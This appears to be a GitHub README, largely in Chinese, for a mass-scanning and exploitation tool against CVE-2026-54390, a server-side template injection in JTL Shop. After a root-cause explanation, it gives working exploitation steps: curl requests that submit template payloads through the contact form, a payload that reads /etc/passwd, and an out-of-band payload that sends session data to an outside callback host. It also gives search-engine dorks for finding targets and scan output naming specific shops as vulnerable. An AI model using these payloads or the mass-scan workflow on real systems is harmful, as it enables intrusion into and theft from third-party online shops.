shinthink/CVE-2026-54390

GitHub: shinthink/CVE-2026-54390

针对 JTL Shop 5.2.0–5.7.1 未授权 Smarty SSTI 远程代码执行漏洞(CVE-2026-54390)的批量检测与利用工具。

Stars: 0 | Forks: 0

CVE-2026-54390 — JTL Shop Smarty SSTI 批量漏洞利用

未授权联系我们 → 邮件主题 → fetch('string:') → RCE

## 概述 **CVE-2026-54390** 是 **JTL Shop 5.2.0–5.7.1** 中一个严重的(CVSS 9.8)未授权服务端模板注入(SSTI)漏洞。 `SmartyRenderer::renderTemplate()` 方法将邮件主题行传递给 `$smarty->fetch('string:' . $subject)` —— 将其作为 Smarty 模板进行渲染。用户联系表单的字段通过 `parseSubject()` 中的 `#var#` 解析到达邮件主题,随后被 `fetch()` 重新评估。 `Text::filterXSS()` 仅过滤 HTML 标签 —— `{` 和 `}` 可以直接通过。已注册的 Smarty 修饰符包含 `file_get_contents` 和 `unserialize`。 ### 受影响版本 | JTL Shop | 状态 | |---|---| | < 5.2.0 | 不受影响 | | 5.2.0 – 5.3.x | 存在漏洞(凭据窃取) | | 5.4.0 – 5.7.1 | **存在漏洞(完全 RCE)** | | 5.5.4 / 5.6.2 / 5.7.2+ | 已修复 | ## 漏洞机制 ### 根本原因 ``` // includes/src/Mail/Renderer/SmartyRenderer.php line 63 $subject = $this->parseSubject($model->getSubject($languageID)); $template->setSubject($this->getSmarty()->fetch('string:' . $subject)); // ^^^^^^^^^^^^^^^^^^^^^ // Email subject rendered as Smarty template ``` ### 攻击流程 ``` 1. User fills contact form → name/email/message → filterXSS() 2. filterXSS only strips HTML — {system()} passes through 3. Email subject template: "Neue Anfrage von #Kunde.vorname#" 4. parseSubject() resolves #Kunde.vorname# → {system('id')} 5. fetch('string:Neue Anfrage von {system(\'id\')}') → EXECUTES 6. Email sent with subject: "Neue Anfrage von uid=33(www-data)..." ``` ### 已注册的 Smarty 修饰符 ``` // PluginCollection.php — available for RCE 'unserialize', 'file_get_contents', 'file_exists', 'class_exists' ``` ## 安装 ``` git clone https://github.com/shinthink/CVE-2026-54390.git cd CVE-2026-54390 pip install -r requirements.txt ``` ## 用法 ``` # 单个目标 python cve_2026_54390.py -t target.com # Mass scan python cve_2026_54390.py -f jtl-targets.txt -o vuln.txt # 通过联系表单进行 SSTI 探测 python cve_2026_54390.py -t target.com --exploit --debug ``` ### 参数 ``` -t, --target Single target (domain or IP) -f, --file Target list, one per line -o, --output Save vulnerable targets --threads Workers (default: 20) --exploit Submit SSTI probe via contact form --debug Show every HTTP request -v, --verbose Detailed output ``` ## 概念验证 ### 检测 ``` $ python cve_2026_54390.py -t jtl-shop.de --debug ``` ``` JTL Shop Smarty SSTI | CVE-2026-54390 [jtl-shop.de] JTL Shop v5.7.0 [jtl-shop.de] [+] JTL Shop v5.7.0 [jtl-shop.de] contact form: /Kontakt | subjects:5 Host : jtl-shop.de JTL Shop : YES v5.7.0 Contact : YES Form path : /Kontakt Subjects : 5 available ``` ### 批量扫描 ``` [!] business.trustedshops.ch 1.6s v5.5.2 form:/Kontakt [!] bmg-moebel.de 5.3s v5.7.0 form:/Kontakt [100/5600] 1% | JTL:23 Vuln:12 ``` ### 手动利用 **步骤 1 — 查找联系表单 + token** ``` curl -sk 'https://target.com/Kontakt' | grep -oP 'name="jtl_token"[^>]*value="\K[^"]+' ``` **步骤 2 — 提交 SSTI 探测** ``` curl -sk -X POST 'https://target.com/Kontakt' \ -d 'kontakt=1' -d 'subject=1' \ -d 'nachricht={7*7}' \ -d 'vorname={7*7}' \ -d 'nachname={7*7}' \ -d 'email=test@example.com' ``` **步骤 3 — 读取文件** ``` {{"/etc/passwd"|file_get_contents}} ``` **步骤 4 — OOB 数据外发** ``` {{"http://callback.com/?s="|file_get_contents|cat:$smarty.session|replace_delim:":"}} ``` ## FOFA / Shodan ``` FOFA: body="jtl" && body="kontakt" Shodan: http.html:"jtl" http.html:"Kontakt" ``` ## 免责声明 ## 参考资料 | 资源 | 链接 | |---|---| | Sansec 研究 | [sansec.io/research/jtl-shop-ssti-rce](https://sansec.io/research/jtl-shop-ssti-rce) | | IONIX 公告 | [ionix.io/threat-center/cve-2026-54390](https://www.ionix.io/threat-center/cve-2026-54390/) | | JTL 论坛 | [forum.jtl-software.de](https://forum.jtl-software.de/threads/jtl-shop-5-7-aktuell-5-7-2.246278/) | | NVD | [CVE-2026-54390](https://nvd.nist.gov/vuln/detail/CVE-2026-54390) |

与 JTL-Software 或 Sansec 无关。

标签:CISA项目, Python, RCE, SSTI, 无后门, 无服务器架构